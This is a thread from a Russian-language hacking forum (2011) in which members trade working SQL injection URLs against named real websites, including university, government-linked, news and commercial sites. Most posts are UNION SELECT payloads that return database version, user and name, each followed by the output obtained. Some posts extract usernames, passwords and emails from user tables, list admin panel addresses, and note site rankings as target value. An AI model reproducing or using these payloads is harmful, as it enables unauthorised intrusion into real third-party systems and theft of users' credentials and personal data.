SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. eclipse

    eclipse Member

    Joined:
    19 Dec 2010
    Messages:
    155
    Likes Received:
    74
    Reputations:
    85
    Российская Информационная Сеть тИЦ 4300
    DB VERSION: 4.1.22-log
    DB NAME: connect
    DB USERNAME: [email protected]
     
  2. Lijzer

    Lijzer Member

    Joined:
    5 Nov 2010
    Messages:
    92
    Likes Received:
    8
    Reputations:
    4
    Shop
    http://www.head-direct.com/products.php?c=-1+union+select+1,2,3,4,concat_ws(0 x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--+
    5.1.52-community:head_direct_1:root@localhost
    тиц 20 pr4
     
    1 person likes this.
  3. charcoal

    charcoal New Member

    Joined:
    7 Mar 2011
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    http://www.investsecret.ru/recomshare.php?id_share=13%20union%20select%201,2,3,4,5,6,7,concat%280x0A,version%28%29,user%28%29%29,9,10,11,12,13,14,15,16,17

    http://www.mozhaysk.ru/mozh_business.php?id=-1 union select 1,2,concat_ws(0x3a,version(),user()),4,5,6,7,8,9,10,11,12,13,14,15 --
     
  4. A_n_d_r_e_i

    A_n_d_r_e_i Elder - Старейшина

    Joined:
    2 Sep 2009
    Messages:
    208
    Likes Received:
    279
    Reputations:
    32
    http://maxtuning.md/Page.php?PageID=-1+union+select+1,@@version,3+--
    Молдовэ
     
  5. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    PR9 ТИЦ650
    www.daad.de
    Code:
    http://www.daad.de/deutschland/foerderung/stipendiendatenbank/00462.en.html?detailid=570'+and+1=0+union+select+1,2,3,4,5,6,concat_Ws(0x3a,users_name,password,full_name,parent_id,lang,email,create_survey,create_user,delete_user,superadmin,configurator,manage_template,manage_label,htmleditormode,one_time_pw,dateformat),8,9,10,11,12,13,14,15,16,17,18+from+limesurvey.users+limit+2,1+--+
    Code:
    http://www.daad.de/deutschland/foerderung/stipendiendatenbank/00462.en.html?detailid=570'+and+1=0+union+select+1,2,3,4,5,6,concat_Ws(0x3a,user,pass,temp_pass,anrede,vorname,nachname,email,phone,referat,street,zipcode,city,organisation,styles,hrk_hochschule_id,test,temp_login,last_login,last_ip,last_sid,last_email,coordinator,gradschool,coordinator_fields,total_account,lock_croprange,aktiv),8,9,10,11,12,13,14,15,16,17,18+from+daad.kursreihe_user+--+
     
    #13685 DezMond™, 27 Mar 2011
    Last edited: 27 Mar 2011
    3 people like this.
  6. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    Просто глум....
    http://www.security4web.org/articles.php?article=-8+union+select+user%28%29,2,3,4--+
    db_user: security_db@localhost
     
  7. bloodAngel

    bloodAngel Banned

    Joined:
    29 Jun 2007
    Messages:
    22
    Likes Received:
    25
    Reputations:
    -1
    Code:
    http://www.alfanord.pt/pages.php?id=-2+union+select+1,2,concat%28version%28%29,0x3a,database%28%29,0x3a,user%28%29%29,4,5,6,7--
    5.0.45-log:alfanord:mrc@localhost

    завод Alfaromeo Pr 3

    Code:
    http://beacon.edu/pages.php?id=2-10
    i don’t know (((((

    Code:
    http://www.usoainc.com/pages.php?id=-10+union+select+1,2,version%28%29--

    4.0.25
     
    #13687 bloodAngel, 27 Mar 2011
    Last edited: 27 Mar 2011
  8. A_n_d_r_e_i

    A_n_d_r_e_i Elder - Старейшина

    Joined:
    2 Sep 2009
    Messages:
    208
    Likes Received:
    279
    Reputations:
    32
    http://www.hokkaido.it/en/product.php?id=-1+union+select+1,2,3,4,5,@@version,7,8,9,10,11,12,13,14,15,16,17,18,19,20+--
    http://www.merseytrusts.org.uk/list_trust.php?id=-105+union+select+1,2,@@version,4,5,6,7,group_concat(table_name),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+information_schema.tables+--
    pr:3

    http://www.mgce.uz.ua/post.php?id=-57+union+select+1,@@version,3,4,5,6+--
    cy:20
    pr:3

    http://www.wollemipine.sk/page.php?id=-13+union+select+1,2,@@version,4,5,6+--
    http://usmev.ravers.sk/phpscripts/diskusia/otvor.php?id=-163+union+select+1,2,@@version,4,5+--
    http://www.polcolorit.pl/ru/produkty.php?id=-55+union+select+1,@@version,3,4,5,6,7,8,9+--
    cy:30
    pr:4
     
    #13688 A_n_d_r_e_i, 28 Mar 2011
    Last edited: 28 Mar 2011
    2 people like this.
  9. bloodAngel

    bloodAngel Banned

    Joined:
    29 Jun 2007
    Messages:
    22
    Likes Received:
    25
    Reputations:
    -1
    Code:
    http://www.fetalmonitors.biz/pages.php?ID=-24+union+select+1,2,group_concat%28ID,0x3a,username,0x3a,password%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47+from+%20useraccounts
    user : tiyanak_cmsadm@localhost
    database: tiyanak_cmsorig
    version : 5.0.91-community

    Code:
    http://www.svecaspol.sk/home.php?id=1%20and%20substring%28Version%28%29,1,1%29like%284%29
    blind
    version() 4.0.27-log
    DB: svecaspol
    User: [email protected]
     
    #13689 bloodAngel, 28 Mar 2011
    Last edited: 29 Mar 2011
  10. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Официальный сайт изданий Калужской области

    http://pressaobninsk.ru/fotorep/?id=-91%20and%201=2%20union%20select%201,2,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),4--

    5.0.24-standard pressaobnins1@localhost db_pressaobnins1 pc-linux-gnu

    http://pressaobninsk.ru/fotorep/?id=-91%20and%201=2%20union%20select%201,2,aes_decrypt(aes_encrypt(concat_ws(0x3a,login,pas),0x71),0x71),4%20from%20users%20limit%201%20offset%200--
     
    2 people like this.
  11. FlatL1ne

    FlatL1ne Elder - Старейшина

    Joined:
    5 Oct 2007
    Messages:
    89
    Likes Received:
    31
    Reputations:
    10
    http://www.ispolin.spb.ru/catalog.php?cid=%Inject_Here%1
    http://www.ispolin.spb.ru/admin/

    ispolin@localhost
    FreeBSD8.1
    5.5.9-log
     
    2 people like this.
  12. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    [​IMG]

    http://vedomosti.sfo.ru/articles/?article=35968+and+1=2+union+select+1,@@version+--

    версия : 4.0.24_D
     
  13. A_n_d_r_e_i

    A_n_d_r_e_i Elder - Старейшина

    Joined:
    2 Sep 2009
    Messages:
    208
    Likes Received:
    279
    Reputations:
    32
    http://www.garo.cc/item.php?id=-879+union+select+1,2,group_concat(0x0b,table_name),4,5,6,7,8,9,10,11,12+from+information_schema.tables+--
    Google PR : 4
    Яндекс ТИЦ : 140
    file_priv=no

    http://www.cataract.cc/bandmember.php?id=-3+union+select+1,2,3,4,@@version,6,7+--

    http://www.hlhclub.ru/state.php?id=-68+union+select+1,2,3,group_concat(0x0b,table_name)+from+information_schema.tables+--
    pr:2
    cy:10
     
    #13693 A_n_d_r_e_i, 30 Mar 2011
    Last edited: 30 Mar 2011
  14. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    363
    Likes Received:
    189
    Reputations:
    92
    МИОО (Московский Институ Открытого Образования)

    Code:
    http://www.mioo.ru/spkexp.php?id=48+and+1=0+union+select+1,2,group_concat%28column_name+separator+0x3a%29,4,5,6,7,8,9+from+information_schema.columns+where+table_name=0x7573657273--
    тИЦ 1400
    PR 6/10

    ip: 195.178.216.41 Moscow
     
    1 person likes this.
  15. ta-kyn

    ta-kyn Member

    Joined:
    7 May 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    2
    Научный Вестник МГГУ + artperm.ru

    [IP 89.248.176.24]
    [PR 3]

    Code:
    http://vestnik.msmu.ru/archive.php?archive_id=-2+UNION+SELECT+1,2,version%28%29,concat_ws%280x3a%20%20,user%28%29,database%28%29%29,5+--
    5.1.37 - vestnikmsmuru@localhost:vestnikmsmuru

    [IP 78.108.84.90]
    [PR 2]
    Code:
    http://www.portfolio.artperm.ru/resume/gallery/gallery.php?event=showimg&id_pic=CHAR%2839%29+UNION+SELECT+1,version%28%29,3,4,5,6,7,concat_ws%280x3a,user%28%29,database%28%29%29,9,10,11,12+--
    5.0.90 - [email protected]:b56684_port

    [IP 78.108.84.90]
    [PR 2]
    Code:
    http://www.archont.ru/albom.php?event=showimg&id_pic=CHAR%2839%29+UNION+SELECT+1,version%28%29,3,4,5,6,7,8,concat_ws%280x3a,user%28%29,database%28%29%29,10,11,12+--
    5.0.90 - [email protected]:b56684_newsit

    Последние 2-е - один и тот же самописный движок.
     
    #13695 ta-kyn, 31 Mar 2011
    Last edited: 31 Mar 2011
  16. eclipse

    eclipse Member

    Joined:
    19 Dec 2010
    Messages:
    155
    Likes Received:
    74
    Reputations:
    85
    Транс Гарант тИЦ 110, PR - 4

    SQL Injection
    Эксплойт
    DB VERSION:4.0.25
    DB NAME:wwwtransgarantlg
    DB USERNAME:[email protected]
     
    #13696 eclipse, 31 Mar 2011
    Last edited: 1 Apr 2011
  17. S[N]EP

    S[N]EP Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    102
    Likes Received:
    28
    Reputations:
    10
    Code:
    http://www.sun-sling.ru/gallery.php?id=-13+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7
    [email protected]:5.1.49-3-log:petersburg_ss
    PR 3 ТИЦ 40


    Code:
    http://www.vidatec.ru/show.php?id=-82+and+1=1+union+select+1,2,3,version%28%29,5,6,7,8,9/*
    alpro@localhost:4.1.22:alpro

    PR 2 ТИЦ 20
     
  18. A_n_d_r_e_i

    A_n_d_r_e_i Elder - Старейшина

    Joined:
    2 Sep 2009
    Messages:
    208
    Likes Received:
    279
    Reputations:
    32
    http://www.medy.ru/pages.php?id=-296+union+select+1,2,group_concat(0x0b,table_name),4,5,6,7,8,9,10,11,12+from+information_schema.tables+--
    cy:20
    pr:4

    http://www.coloring.me/coloring-pages.php?id=-1913+union+select+1,2,3,group_concat(0x0b,table_name),5,6,7,8,9,10+from+information_schema.tables+--
    pr:3

    http://www.octamec.com/pages.php?id=7+union+select+1,group_concat(0x0b,table_name),3,4,5,6,7,8+from+information_schema.tables+--
    pr:3

    http://www.fyne.co.uk/index.php?item=-71+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+--
    http://www.fyne.co.uk/admin/admin.php
    Google PR : 4
    Яндекс ТИЦ : 10
    Вывод в тайле

    http://www.bezkar.sk/clanok.php?id=-100+union+select+1,2,3,@@version,5,6,7,8,9,10,11+--
    pr:3
     
    #13698 A_n_d_r_e_i, 1 Apr 2011
    Last edited: 1 Apr 2011
    1 person likes this.
  19. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    Исламская Цивилизация =\\

    http://islamcivil.ru/article.php?id=9&sid=10&aid=465+and+1=2+union+select+1,2,3,4,unhex(hex(concat_ws(0x3a,version(),user(),database()))),6,5,8,9,10,11,12,13,14--+

    4.1.11-standard:islamcivil@localhost:db_islamcivil
     
    1 person likes this.
  20. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    [​IMG]

    http://www.autozel.ru/index.php?page=cat&c_id=-26%20and%201=2%20union%20select%201,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),3,4,5,6,7,8,9,10,11,12,13,14--

    5.0.90-log [email protected] u50827_auto portbld-freebsd7.2
     
    2 people like this.
Thread Status:
Not open for further replies.